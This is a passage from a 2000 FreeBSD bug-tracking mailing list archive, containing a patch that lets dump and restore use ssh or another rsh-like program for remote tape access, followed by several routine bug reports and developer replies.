SIGINT, and ssh apparently installs a handler and terminates on SIGINT, so the whole dump run would always abort on interrupt. Diverging from the rdist code, I solved this by putting the coprocess in its own process group. I'm not sure I fully understand all the consequences of this, but it works. An interrupt doesn't kill the dump run, and if I forcefully terminate dump, the coprocess dies along with it. * rshrcmd() doesn't really handle rcmd()'s final "fd2p" argument. Adding this appears to be rather complex, judging by the rcmd code. Considering the limited use (added post 4.4Lite) this sees in dump, I think it is a negligible omission. * I didn't add "#ifdef RDUMP" around the changes, since I couldn't decide whether this is appropriate. >How-To-Repeat: Usage example: $ dump 0aPf ssh host:/dev/nrsa0 / >Fix: diff -u -uNr /usr/src/sbin/dump/Makefile dump/Makefile --- /usr/src/sbin/dump/Makefile Tue Oct 26 21:47:56 1999 +++ dump/Makefile Sat Jan 1 20:06:13 2000 @@ -17,7 +17,8 @@ LINKS= ${BINDIR}/dump ${BINDIR}/rdump CFLAGS+=-DRDUMP CFLAGS+=-I${.CURDIR}/../../libexec/rlogind -SRCS= itime.c main.c optr.c dumprmt.c tape.c traverse.c unctime.c +SRCS= itime.c main.c optr.c dumprmt.c tape.c traverse.c unctime.c \ + rshrcmd.c BINGRP= tty BINMODE=2555 MAN8= dump.8 diff -u -uNr /usr/src/sbin/dump/dump.8 dump/dump.8 --- /usr/src/sbin/dump/dump.8 Sat Sep 11 03:51:55 1999 +++ dump/dump.8 Sat Jan 1 22:18:54 2000 @@ -47,6 +47,7 @@ .Op Fl d Ar density .Op Fl f Ar file .Op Fl h Ar level +.Op Fl P Ar rshcmd .Op Fl s Ar feet .Op Fl T Ar date .Ar filesystem @@ -177,6 +178,13 @@ .Dq operator by means similar to a .Xr wall 1 . +.It Fl P Ar rshcmd +Program to provide +.Xr rsh 1 -like Ns +transport to the remote tape server. +It must provide a binary-transparent path to the remote host +and must have a command argument syntax that is compatible with +.Xr rsh 1 . .It Fl s Ar feet Attempt to calculate the amount of tape needed at a particular density. diff -u -uNr /usr/src/sbin/dump/dump.h dump/dump.h --- /usr/src/sbin/dump/dump.h Tue Jul 14 11:19:45 1998 +++ dump/dump.h Sat Jan 1 20:42:34 2000 @@ -102,7 +102,7 @@ void timeest __P((void)); time_t unctime __P((char *str)); -/* mapping rouintes */ +/* mapping routines */ struct dinode; long blockest __P((struct dinode *dp)); int mapfiles __P((ino_t maxino, long *tapesize)); @@ -137,6 +137,8 @@ int rmtopen __P((char *tape, int mode)); int rmtwrite __P((char *buf, int count)); #endif /* RDUMP */ +int rshrcmd __P((char **ahost, u_short port, char *luser, char *ruser, + char *cmd, int *fd2p)); void interrupt __P((int signo)); /* in case operator bangs on console */ diff -u -uNr /usr/src/sbin/dump/dumprmt.c dump/dumprmt.c --- /usr/src/sbin/dump/dumprmt.c Sat Sep 11 03:51:55 1999 +++ dump/dumprmt.c Sat Jan 1 20:36:52 2000 @@ -92,6 +92,7 @@ static int errfd = -1; extern int dokerberos; extern int ntrec; /* blocking factor on tape */ +extern char *path_rsh; int rmthost(host) @@ -141,7 +142,7 @@ rmtgetconn() { register char *cp; - register const char *rmt; + register char *rmt; static struct servent *sp = NULL; static struct passwd *pwd = NULL; char *tuser; @@ -173,6 +174,10 @@ if ((rmt = getenv("RMT")) == NULL) rmt = _PATH_RMT; msg(""); + if (path_rsh) + rmtape = rshrcmd(&rmtpeer, (u_short)sp->s_port, pwd->pw_name, + tuser, rmt, 0); + else #ifdef KERBEROS if (dokerberos) rmtape = krcmd(&rmtpeer, sp->s_port, tuser, rmt, &errfd, @@ -186,6 +191,8 @@ return; } (void)fprintf(stderr, "Connection to %s established.\n", rmtpeer); + if (path_rsh) + return; size = ntrec * TP_BSIZE; if (size > 60 * 1024) /* XXX */ size = 60 * 1024; diff -u -uNr /usr/src/sbin/dump/main.c dump/main.c --- /usr/src/sbin/dump/main.c Sat Sep 11 03:51:55 1999 +++ dump/main.c Sat Jan 1 22:11:40 2000 @@ -86,6 +86,7 @@ long dev_bsize = 1; /* recalculated below */ long blocksperfile; /* output blocks per file */ char *host = NULL; /* remote host (if any) */ +char *path_rsh = NULL; /* rsh (or equiv command) path */ static long numarg __P((char *, long, long)); static void obsolete __P((int *, char **[])); @@ -122,9 +123,9 @@ obsolete(&argc, &argv); #ifdef KERBEROS -#define optstring "0123456789aB:b:cd:f:h:kns:T:uWw" +#define optstring "0123456789aB:b:cd:f:h:knP:s:T:uWw" #else -#define optstring "0123456789aB:b:cd:f:h:ns:T:uWw" +#define optstring "0123456789aB:b:cd:f:h:nP:s:T:uWw" #endif while ((ch = getopt(argc, argv, optstring)) != -1) #undef optstring @@ -177,6 +178,10 @@ notify = 1; break; + case 'P': + path_rsh = optarg; + break; + case 's': /* tape size, feet */ tsize = numarg("tape size", 1L, 0L) * 12 * 10; break; @@ -491,7 +496,8 @@ "k" #endif "nu] [-B records] [-b blocksize] [-d density] [-f file]\n" - " [-h level] [-s feet] [-T date] filesystem\n" + " [-h level] [-P rshcmd] [-s feet] [-T date] " + "filesystem\n" " dump [-W | -w]\n"); exit(X_STARTUP); } @@ -598,6 +604,7 @@ case 'd': case 'f': case 'h': + case 'P': case 's': case 'T': if (*argv == NULL) { diff -u -uNr /usr/src/sbin/dump/rshrcmd.c dump/rshrcmd.c --- /usr/src/sbin/dump/rshrcmd.c Thu Jan 1 01:00:00 1970 +++ dump/rshrcmd.c Sat Jan 1 22:05:35 2000 @@ -0,0 +1,110 @@ + +/* + * This is an rcmd() replacement originally by + * Chris Siebenmann . + */ + +#ifndef lint +static const char rcsid[] = + "$FreeBSD$"; +#endif /* not lint */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "dump.h" + +extern char *path_rsh; + +static char * +xbasename(s) + char *s; +{ + char *ret; + + ret = strrchr(s, '/'); + if (ret && ret[1]) + return (ret + 1); + return s; +} + + +/* + * This is a replacement rcmd() function that uses the rsh(1c) + * program in place of a direct rcmd() function call so as to + * avoid having to be root. + */ +int +rshrcmd(ahost, port, luser, ruser, cmd, fd2p) + char **ahost; + u_short port; + char *luser, *ruser, *cmd; + int *fd2p; +{ + int cpid; + struct hostent *hp; + int sp[2]; + + /* insure that we are indeed being used as we thought. */ + if (fd2p != 0) + return -1; + /* validate remote hostname. */ + hp = gethostbyname(*ahost); + if (hp == 0) { + msg("%s: unknown host", *ahost); + return -1; + } + *ahost = hp->h_name; /* This makes me nervous. */ + + /* get a socketpair we'll use for stdin and stdout. */ + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) { + msg("socketpair(AF_UNIX, SOCK_STREAM, 0) failed: %s.", + strerror(errno)); + return -1; + } + + cpid = fork(); + if (cpid < 0) { + msg("fork failed: %s.", strerror(errno)); + return -1; /* error. */ + } + if (cpid == 0) { + /* child. we use sp[1] to be stdin/stdout, and close + sp[0]. */ + (void) close(sp[0]); + if (dup2(sp[1], 0) < 0 || dup2(0,1) < 0) { + msg("dup2 failed: %s.", strerror(errno)); + _exit(255); + } + /* fork again to lose parent. */ + cpid = fork(); + if (cpid < 0) { + msg("fork to lose parent failed: %s.", strerror(errno)); + _exit(255); + } + if (cpid > 0) + _exit(0); + /* in grandchild here. */ + setpgid(0, getpid()); /* run in background */ + execlp(path_rsh, xbasename(path_rsh), + *ahost, "-l", ruser, cmd, (char *) NULL); + msg("execlp %s failed: %s.", path_rsh, strerror(errno)); + _exit(255); + } + if (cpid > 0) { + /* parent. close sp[1], return sp[0]. */ + (void) close(sp[1]); + /* reap child. */ + (void) wait(0); + return sp[0]; + } + /*NOTREACHED*/ + return (-1); +} diff -u -uNr /usr/src/sbin/restore/Makefile restore/Makefile --- /usr/src/sbin/restore/Makefile Tue Oct 26 21:48:16 1999 +++ restore/Makefile Sat Jan 1 22:06:28 2000 @@ -6,7 +6,7 @@ CFLAGS+=-DRRESTORE CFLAGS+=-I${.CURDIR}/../../libexec/rlogind SRCS= main.c interactive.c restore.c dirs.c symtab.c tape.c utilities.c \ - dumprmt.c + dumprmt.c rshrcmd.c BINGRP= tty BINMODE=2555 MAN8= restore.8 diff -u -uNr /usr/src/sbin/restore/main.c restore/main.c --- /usr/src/sbin/restore/main.c Sat Sep 11 03:52:25 1999 +++ restore/main.c Sat Jan 1 22:12:13 2000 @@ -74,6 +74,7 @@ time_t dumptime; time_t dumpdate; FILE *terminal; +char *path_rsh = NULL; static void obsolete __P((int *, char **[])); static void usage __P((void)); @@ -99,9 +100,9 @@ inputdev = _PATH_DEFTAPE; obsolete(&argc, &argv); #ifdef KERBEROS -#define optlist "b:cdf:hikmNRrs:tuvxy" +#define optlist "b:cdf:hikmNP:Rrs:tuvxy" #else -#define optlist "b:cdf:himNRrs:tuvxy" +#define optlist "b:cdf:himNP:Rrs:tuvxy" #endif while ((ch = getopt(argc, argv, optlist)) != -1) switch(ch) { @@ -148,6 +149,9 @@ case 'N': Nflag = 1; break; + case 'P': + path_rsh = optarg; + break; case 's': /* Dumpnum (skip to) for multifile dump tapes. */ dumpnum = strtol(optarg, &p, 10); @@ -292,12 +296,14 @@ static void usage() { - (void)fprintf(stderr, "usage:\t%s\n\t%s\n\t%s\n\t%s\n\t%s\n", - "restore -i [-chkmuvy] [-b blocksize] [-f file] [-s fileno]", - "restore -r [-ckuvy] [-b blocksize] [-f file] [-s fileno]", - "restore -R [-ckuvy] [-b blocksize] [-f file] [-s fileno]", - "restore -x [-chkmuvy] [-b blocksize] [-f file] [-s fileno] [file ...]", - "restore -t [-chkuvy] [-b blocksize] [-f file] [-s fileno] [file ...]"); + (void)fprintf(stderr, "usage:\t%s\n\t%s\n\t%s\n\t%s\n\t%s\n\t%s\n\t%s\n", + "restore -i [-chkmuvy] [-b blocksize] [-f file] [-P rshcmd] [-s fileno]", + "restore -r [-ckuvy] [-b blocksize] [-f file] [-P rshcmd] [-s fileno]", + "restore -R [-ckuvy] [-b blocksize] [-f file] [-P rshcmd] [-s fileno]", + "restore -x [-chkmuvy] [-b blocksize] [-f file] [-P rshcmd] [-s fileno]", + " [file ...]", + "restore -t [-chkuvy] [-b blocksize] [-f file] [-P rshcmd] [-s fileno]", + " [file ...]"); done(1); } @@ -335,6 +341,7 @@ switch (*ap) { case 'b': case 'f': + case 'P': case 's': if (*argv == NULL) { warnx("option requires an argument -- %c", *ap); diff -u -uNr /usr/src/sbin/restore/restore.8 restore/restore.8 --- /usr/src/sbin/restore/restore.8 Sat Sep 11 03:52:25 1999 +++ restore/restore.8 Sat Jan 1 22:19:10 2000 @@ -44,24 +44,28 @@ .Op Fl chkmuvy .Op Fl b Ar blocksize .Op Fl f Ar file +.Op Fl P Ar rshcmd .Op Fl s Ar fileno .Nm restore .Fl R .Op Fl ckuvy .Op Fl b Ar blocksize .Op Fl f Ar file +.Op Fl P Ar rshcmd .Op Fl s Ar fileno .Nm restore .Fl r .Op Fl ckuvy .Op Fl b Ar blocksize .Op Fl f Ar file +.Op Fl P Ar rshcmd .Op Fl s Ar fileno .Nm restore .Fl t .Op Fl chkuvy .Op Fl b Ar blocksize .Op Fl f Ar file +.Op Fl P Ar rshcmd .Op Fl s Ar fileno .Op file ... .Nm restore @@ -69,6 +73,7 @@ .Op Fl chkmuvy .Op Fl b Ar blocksize .Op Fl f Ar file +.Op Fl P Ar rshcmd .Op Fl s Ar fileno .Op file ... .Pp @@ -311,6 +316,13 @@ This is useful if only a few files are being extracted, and one wants to avoid regenerating the complete pathname to the file. +.It Fl P Ar rshcmd +Program to provide +.Xr rsh 1 -like Ns +transport to the remote tape server. +It must provide a binary-transparent path to the remote host +and must have a command argument syntax that is compatible with +.Xr rsh 1 . .It Fl s Ar fileno Read from the specified .Ar fileno >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 18:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id BDB0415076 for ; Sat, 1 Jan 2000 18:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA41031; Sat, 1 Jan 2000 18:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id BC4D615006; Sat, 1 Jan 2000 18:23:18 -0800 (PST) Message-Id: <20000102022318.BC4D615006@hub.freebsd.org> Date: Sat, 1 Jan 2000 18:23:18 -0800 (PST) From: jacobsm@gate.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: bin/15831: pr command segfaults as non-root user Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15831 >Category: bin >Synopsis: pr command segfaults as non-root user >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 18:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Mark Jacobs >Release: 3.4 Stable, 1/1/2000 Buildworld >Organization: NA >Environment: >Description: pr command when run as non-root user receives an SIGSEGV in strftime from /usr/lib/libc.so.3 >How-To-Repeat: Sign on as non-root user, enter pr without any filename or options. it should fail. >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 18:40: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4B97615251 for ; Sat, 1 Jan 2000 18:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA41680; Sat, 1 Jan 2000 18:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 9FB8315052; Sat, 1 Jan 2000 18:39:34 -0800 (PST) Message-Id: <20000102023934.9FB8315052@hub.freebsd.org> Date: Sat, 1 Jan 2000 18:39:34 -0800 (PST) From: admin@ewan.qc.ca To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: bin/15832: the w commands can show a bad result on the idle time Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15832 >Category: bin >Synopsis: the w commands can show a bad result on the idle time >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 18:40:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Mathieu Nadeau >Release: 3.2-release >Organization: Services Internet Mathnet >Environment: FreeBSD fire.mathnet.org 3.2-RELEASE FreeBSD 3.2-RELEASE #6: Sun Nov 7 12:50:56 EST 199 9 root@fire.mathnet.org:/usr/src/sys/compile/FIRE i386 >Description: the w commands show a bad idle time ;) fire# w 9:37PM up 40 days, 4 hrs, 2 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT root v1 - 8:37PM 228days -csh (csh) root p0 poste1 8:58PM - w fire# uptime 9:37PM up 40 days, 4 hrs, 2 users, load averages: 0.00, 0.00, 0.00 fire# fire# date Sat Jan 1 21:38:40 EST 2000 fire# >How-To-Repeat: im not sure but i think it's year2000 . >Fix: ;P >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 19:58:13 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 3088E14BFD for ; Sat, 1 Jan 2000 19:58:11 -0800 (PST) (envelope-from cdillon@wolves.k12.mo.us) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id VAA25739; Sat, 1 Jan 2000 21:58:03 -0600 (CST) (envelope-from cdillon@wolves.k12.mo.us) Date: Sat, 1 Jan 2000 21:58:03 -0600 (CST) From: Chris Dillon To: "Linux User Kenyito (^_^)!!!!Hi!!!" Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: just asking you In-Reply-To: <386E984C.A751EEBA@ctcreuna.cl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 1 Jan 2000, Linux User Kenyito (^_^)!!!!Hi!!! wrote: > why do not try to install 3.4 up version ? because ,,past ver 3.0 ,,i > can not install any more new version of Free BSD .my HDD is > tekram scsi type . does not suppots this type of HDD any more.? I don't know any answers to the other problems you asked about, but FreeBSD 3.4 should support all known models of the Tekram SCSI controllers. I have been using a Tekram DC-390F since about 2.2.6 and support for this card was never removed. The following drivers already in the FreeBSD 3.4 source tree (and in the GENERIC kernel as well) will support the following Tekram SCSI controllers: 'ncr' driver = Tekram DC-390U, DC-390F, DC-390W, DC-390U2B, DC-390U2W, DC-310, and the DC-310U. 'amd' driver = Tekram DC-390 Drivers for the Tekram DC-395UW, DC-395U, and DC-315U are available on Tekram's FTP site, but I do not believe they are part of the FreeBSD source distribution at this time. I think that covers every one of Tekram's current line of SCSI controllers, some of which have been around for a long time. All of the Tekram controllers that were supported in 2.2.x are still supported in FreeBSD 3.x and 4.x, so I'm not sure why you would be having a problem with it. -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For Intel x86 and Alpha architectures. ( http://www.freebsd.org ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 20: 0: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A459614F46 for ; Sat, 1 Jan 2000 20:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id UAA46482; Sat, 1 Jan 2000 20:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 6644815041; Sat, 1 Jan 2000 19:58:39 -0800 (PST) Message-Id: <20000102035839.6644815041@hub.freebsd.org> Date: Sat, 1 Jan 2000 19:58:39 -0800 (PST) From: d-lewart@uiuc.edu To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15834: named 8.2.2-P5 "No default TTL set using SOA minimum instead" message Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15834 >Category: misc >Synopsis: named 8.2.2-P5 "No default TTL set using SOA minimum instead" message >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 20:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Daniel Lewart >Release: 3.4 >Organization: University of Illinois >Environment: FreeBSD lemonshark.cvm.uiuc.edu 3.4-RELEASE FreeBSD 3.4-RELEASE #0: Mon Dec 20 06:54:39 GMT 1999 jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC i386 >Description: After starting named 8.2.2-P5, this appears in /var/log/messages: Dec 27 19:31:26 lemonshark named[6000]: Zone "0.0.127.IN-ADDR.ARPA" (file localhost.rev): No default TTL set using SOA minimum instead This is a new named quirk, which is easily fixed. >How-To-Repeat: 1) Start named 2) grep named /var/log/messages >Fix: Insert the following line after /etc/namedb/PROTO.localhost.rev line 7: $TTL 3600 >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 3:10: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CE44D14E5D for ; Sun, 2 Jan 2000 03:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA75737; Sun, 2 Jan 2000 03:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sun, 2 Jan 2000 03:10:02 -0800 (PST) Message-Id: <200001021110.DAA75737@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Alexander Langer Subject: Re: bin/15828: pr command gets segmentation fault Reply-To: Alexander Langer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15828; it has been noted by GNATS. From: Alexander Langer To: jacobsm@gate.net Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/15828: pr command gets segmentation fault Date: Sun, 2 Jan 2000 11:15:20 +0100 Thus spake jacobsm@gate.net (jacobsm@gate.net): > pr command gets segmentation fault > >How-To-Repeat: > enter pr command > >Fix: I cannot reproduce this. Could you provide a _little_ more info, please? (maybe 1 further line or such *ouch*) Alex -- I doubt, therefore I might be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 3:10:11 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6586E14EA0 for ; Sun, 2 Jan 2000 03:10:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA75745; Sun, 2 Jan 2000 03:10:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sun, 2 Jan 2000 03:10:03 -0800 (PST) Message-Id: <200001021110.DAA75745@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Alexander Langer Subject: Re: bin/15831: pr command segfaults as non-root user Reply-To: Alexander Langer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15831; it has been noted by GNATS. From: Alexander Langer To: jacobsm@gate.net Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/15831: pr command segfaults as non-root user Date: Sun, 2 Jan 2000 11:16:23 +0100 Thus spake jacobsm@gate.net (jacobsm@gate.net): > Sign on as non-root user, enter pr without any filename or options. > it should fail. It doesn't for me. Can you start it with gdb, please? alex:~ $ gdb pr GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... (gdb) run Starting program: /usr/bin/pr (no debugging symbols found)...(no debugging symbols found)... Program exited normally. (gdb) quit Alex -- I doubt, therefore I might be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 3:12:55 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E542714DA6; Sun, 2 Jan 2000 03:12:53 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA75889; Sun, 2 Jan 2000 03:12:53 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Sun, 2 Jan 2000 03:12:53 -0800 (PST) From: Message-Id: <200001021112.DAA75889@freefall.freebsd.org> To: ambrisko@whistle.com, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: conf/14913: Fix for "arplookup 127.0.0.1 failed: could not allocate llinfo" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Fix for "arplookup 127.0.0.1 failed: could not allocate llinfo" State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Sun Jan 2 03:00:38 PST 2000 State-Changed-Why: Fixed in src/contrib/isc-dhcp/client/scripts/freebsd, revs 1.8 (-current) and 1.1.1.2.2.7 (-stable). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 3:42:45 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 96EF814F91; Sun, 2 Jan 2000 03:42:43 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA77925; Sun, 2 Jan 2000 03:42:43 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Sun, 2 Jan 2000 03:42:43 -0800 (PST) From: Message-Id: <200001021142.DAA77925@freefall.freebsd.org> To: robertw@wojo.com, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/14842: PAM's pam_unix.so does not load libcrypt.so itself Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: PAM's pam_unix.so does not load libcrypt.so itself State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Sun Jan 2 03:40:39 PST 2000 State-Changed-Why: Fixed in src/lib/libpam/modules/pam_unix/Makefile, rev 1.4 (-current) and rev 1.2.2.2 (-stable). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 4:48:22 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id 1FC3C14EE3 for ; Sun, 2 Jan 2000 04:48:20 -0800 (PST) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.3/8.8.8) id MAA25035; Sun, 2 Jan 2000 12:48:15 GMT (envelope-from joe) Date: Sun, 2 Jan 2000 12:48:14 +0000 From: Josef Karthauser To: Yoshinobu Inoue Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend Message-ID: <20000102124814.A24810@florence.pavilion.net> References: <200001010339.TAA16831@freefall.freebsd.org> <20000101163112Y.shin@nd.net.fujitsu.co.jp> <20000102023050X.shin@nd.net.fujitsu.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000102023050X.shin@nd.net.fujitsu.co.jp> X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I tried this test with my INET6 defined kernel. # pccardc power 1 0 [pause] # pccardc power 1 1 [pause whilst pccardd finds the card, and dhclient get's the ip address]. I did it three times, and on the third time the kernel crashed with exactly the same problems as before. This confirms that it's not an APM problem. Joe -- Josef Karthauser FreeBSD: Take the red pill and we'll show you just how Technical Manager deep the rabbit hole goes. (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 5:20: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E1D0414FA0 for ; Sun, 2 Jan 2000 05:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id FAA83561; Sun, 2 Jan 2000 05:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 768FC14BCC; Sun, 2 Jan 2000 05:14:55 -0800 (PST) Message-Id: <20000102131455.768FC14BCC@hub.freebsd.org> Date: Sun, 2 Jan 2000 05:14:55 -0800 (PST) From: riccardo@torrini.org To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: kern/15837: NIC: ex0: Intel EtherExpress Pro/10 stopped working Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15837 >Category: kern >Synopsis: NIC: ex0: Intel EtherExpress Pro/10 stopped working >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 05:20:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Riccardo Torrini >Release: 4.0-CURRENT (make world on 31/12/1999) >Organization: >Environment: FreeBSD trudy.home.torrini.org 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Sun Jan 2 11:46:11 CET 2000 root@trudy.home.torrini.org:/usr/src/sys/compile/TRUDY i386 >Description: Intel EtherExpress Pro/10 does'n work on last month, on last 4 cvsup 